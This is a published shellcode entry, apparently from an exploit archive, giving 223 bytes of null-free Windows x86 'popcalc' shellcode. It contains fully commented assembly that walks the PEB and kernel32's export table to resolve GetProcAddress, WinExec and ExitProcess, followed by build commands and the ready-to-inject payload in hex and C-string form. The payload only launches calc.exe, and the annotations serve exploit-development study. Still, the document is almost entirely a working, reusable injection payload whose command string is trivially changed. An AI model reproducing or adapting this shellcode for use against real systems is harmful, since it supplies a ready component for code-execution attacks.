Dynamic Null-Free PopCalc Shellcode

223 bytes small dynamic, null-free popcalc shellcode.

MD5 | 6f8a6802f04b26ff3724b05afb440805

; Shellcode Title:  Dynamic, Null-Free PopCalc Shellcode (223 Bytes)
; Shellcode Author: Bobby Cooke
; Technique: PEB & Export Directory Table
; Tested On: Windows 10 Pro (x86) 10.0.18363 Build 18363

# Create a new stack frame
push ebp ; push current base pointer to the stack
mov ebp, esp ; Set Base Stack Pointer for new Stack-Frame
sub esp, 0x30 ; Decrement the stack by 96 to create space for saving pointers

# Push string "GetProcAddress",0x00 onto the stack
xor eax, eax ; clear eax register
mov ax, 0x7373 ; AX is the lower 16-bits of the 32bit EAX Register
push eax ; ss : 73730000 // EAX = 0x00007373 // \x73=ASCII "s"
push 0x65726464 ; erdd : 65726464 // "GetProcAddress"
push 0x41636f72 ; Acor : 41636f72
push 0x50746547 ; PteG : 50746547
mov [ebp-0x4], esp ; save PTR to string at bottom of stack (ebp)

# Find Base Address of the kernel32.dll Dynamically Linked Library
xor eax, eax ; clear eax register
mov eax, [fs:eax+0x30] ; EAX = Address_of_PEB
mov eax, [eax+0xc] ; EAX = Address_of_LDR
mov eax, [eax+0x1c] ; EAX = First Entry of InInitialzationOrderModuleList - ntdll.dll
mov ebx, eax ; Get the second entry in the Initialization Order Module List (kernelbase.dll)
mov eax, [ebx] ; EAX = Second Entry of InInitialzationOrderModuleList - kernelbase.dll
mov ebx, eax ; Get the third entry in the Initialization Order Module List (kernel32.dll)
mov eax, [ebx] ; EAX = Third Entry of InInitialzationOrderModuleList - kernel32.dll
mov eax, [eax+0x8] ; move the kernel32.dll base address into the EAX register
; EAX = Base address of kernel32.dll
mov [ebp-0x8], eax ; Save the base address of kernel32.dll in the 2nd from bottom position on our stack

# Find Base Address of GetProcAddress Symbol
mov ebx, [eax+0x3c] ; save Relative Virtual Address (RVA/Offset) of New_Exe_Header to ebx.
add ebx, eax ; EBX = Address of new Header
mov ebx, [ebx+0x78] ; (RVA of New Exe Header) + 0x78 = RVA of Export-Table
add ebx, eax ; EBX now holds the address of the Export Table for kernel32.dll
mov edi, [ebx+0x20] ; PTR to RVA of Name-Pointer Table
add edi, eax ; (kernel32.dll baseAddr) + (RVA Name-Pointer Table) = Address of Name-Pointer Table
mov [ebp-0xC], edi ; save Address of Name-Pointer Table in the 3rd from bottom position in our stack-frame
mov ecx, [ebx+0x24] ; PTR to RVA of Ordinal Table
add ecx, eax ; (kernel32.dll baseAddr) + (RVA Ordinal Table) = Address of Ordinal Table
mov [ebp-0x10], ecx ; save PTR to Ordinal Table Address at 4th from bottom of stack (ebp-16)
mov edx, [ebx+0x1c] ; PTR to RVA of Address Table
add edx, eax ; (kernel32.dll baseAddr) + (RVA Address Table) = Address of Address Table
mov [ebp-0x14], edx ; save PTR to Address Table Address at 5th from bottom of stack (ebp-20)
mov edx, [ebx+0x14] ; Value of Number of Functions/Symbols within the Tables
xor eax, eax ; Counter = 0
mov edi, [ebp-0xC] ; Address of the Name-Pointer Table
mov esi, [ebp-0x4] ; PTR to string "GetProcAddress",0x00
xor ecx, ecx ; clear ecx register -- used for counters/loops
cld ; clear direction flag, DF=0 -- Process strings from left to right
mov edi, [edi+eax*4] ; Entries in Name Pointer Table are 4 bytes long
; edi = RVA of Nth entry = (Address of Name-Pointer Table) + (Counter * 4)
add edi, [ebp-0x8] ; edi = address of string = (kernel32.dll base addr) + (RVA of Nth entry)
add cx, 0xf ; ecx = length of string to compare = sizeof("GetProcAddress") = 15 (14 Letters + 1 String Terminator Char)
repe cmpsb ; compare first 15 bytes of string. esi cmp edi
; if equal ZF=1, if not ZF=0
jz found ; if strings match end loop, else increment eax and loop again
inc eax ; counter ++
cmp eax, edx ; check if eax = Value of Number of Functions/Symbols within the Tables
jb loop ; If eax != edx, restart the loop

; The Counter (eax) now holds the position of GetProcAddress within the table
mov ecx, [ebp-0x10] ; ecx = Address of Ordinal Table
mov edx, [ebp-0x14] ; edx = Address of Address Table
mov ax, [ecx + eax*2] ; ax = ordinal number = (Address of Ordinal Table) + (counter * 2)
mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4)
add eax, [ebp-0x8] ; eax = address of GetProcAddress = (RVA of GetProcAddress) + (kernel32.dll base addr)
; Address of GetProcAddress is now in EAX
mov [ebp-0x18], eax ; save Address of GetProcAddress onto Stack 0x18=24; 6th from bottom

; Call GetProcAddress(hModule &kernel32.dll, lpProcName "WinExec")
; hModule: address of the DLL module that contains the function.
; lpProcName: A Pointer to the beginning of an ASCII string of the functions name; null terminated.
mov edx, 0x63657878 ; "xxec"
shr edx, 8 ; edx = "xec",0x00 // shr edx, 8 = Shifts the edx register to the right 8 bits
push edx
push 0x456e6957 ; EniW : 456e6957
push esp ; $lpProcName -- push the address of the start of the string onto the stack
push dword [ebp-0x8] ; $hModule -- push base address of kernel32.dll to the stack
mov eax, [ebp-0x18] ; Move the address of GetProcAddress into the EAX register
call eax ; Call the GetProcAddress Function.
; The address of the queried function is returned into the EAX register.
mov [ebp-0x1c], eax ; save Address of WinExec onto Stack 0x1c=28; 7th from bottom

; Call WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
; lpCmdLine = "calc.exe" # String to program path
; uCmdShow = 0x00000001 # SW_SHOWNORMAL - displays a window
xor ecx, ecx ; clear eax register
push ecx ; string terminator 0x00 for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163
mov eax, esp ; save pointer to "calc.exe" string in eax
inc ecx ; uCmdShow SW_SHOWNORMAL - 0x00000001
push ecx ; uCmdShow *ptr to stack in 2nd position - LIFO
push eax ; lpcmdLine *ptr to stack in 1st position
mov eax, [ebp-0x1c] ; Move the address of WinExec into the EAX register
call eax ; Call the WinExec Function.

; Call GetProcAddress(hModule &kernel32.dll, lpProcName "ExitProcess")
xor ecx, ecx
mov ecx, 0x73736501 ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
shr ecx, 8 ; ecx = "ess",0x00 // shr shifts the register right 8 bits
push ecx ; sse : 00737365
push 0x636f7250 ; corP : 636f7250
push 0x74697845 ; tixE : 74697845
push esp ; push pointer to string to stack for 'ExitProcess',0x00
push dword [ebp-0x8] ; push base address of kernel32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddressA to EAX
call eax ; GetProcAddressA(PTR *kernel32.dll, "ExitProcess"0x00)
; EAX = ExitProcess Address
mov [ebp-0x20], eax ; save Address of ExitProcess onto Stack 0x54=84

; Call ExitProcess(ExitCode)
xor edx, edx
push edx ; ExitCode = 0
mov eax, [ebp-0x20] ; ExitProcess(ExitCode)
call eax

# Compiled on Kali with nasm
; nasm -f win32 dynaCalc.asm -o dynaCalc.o
; for i in $(objdump -D dynaCalc.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
; RAW:
; 5589e583ec3031c066b8737350686464726568726f634168476574508965fc31c0648b40308b400c8b401c89c38b0389c38b038b40088945f88b583c01c38b5b7801c38b7b2001c7897df48b4b2401c1894df08b531c01c28955ec8b531431c08b7df48b75fc31c9fc8b3c87037df86683c10ff3a674054039d072e48b4df08b55ec668b04418b04820345f88945e8ba78786563c1ea08526857696e4554ff75f88b45e8ffd08945e431c951682e6578656863616c6389e04151508b45e4ffd031c9b901657373c1e908516850726f63684578697454ff75f88b45e8ffd08945e031d2528b45e0ffd0
; Python/C format:
; "\x55\x89\xe5\x83\xec\x30\x31\xc0\x66\xb8\x73\x73\x50\x68\x64\x64\x72\x65\x68\x72\x6f\x63"
; "\x41\x68\x47\x65\x74\x50\x89\x65\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x40\x1c\x89"
; "\xc3\x8b\x03\x89\xc3\x8b\x03\x8b\x40\x08\x89\x45\xf8\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01"
; "\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf4\x8b\x4b\x24\x01\xc1\x89\x4d\xf0\x8b\x53\x1c\x01\xc2"
; "\x89\x55\xec\x8b\x53\x14\x31\xc0\x8b\x7d\xf4\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x03\x7d"
; "\xf8\x66\x83\xc1\x0f\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf0\x8b\x55\xec\x66\x8b"
; "\x04\x41\x8b\x04\x82\x03\x45\xf8\x89\x45\xe8\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57"
; "\x69\x6e\x45\x54\xff\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xe4\x31\xc9\x51\x68\x2e\x65\x78"
; "\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\x8b\x45\xe4\xff\xd0\x31\xc9\xb9\x01\x65\x73"
; "\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\xff\x75\xf8\x8b\x45\xe8"
; "\xff\xd0\x89\x45\xe0\x31\xd2\x52\x8b\x45\xe0\xff\xd0"

Related Posts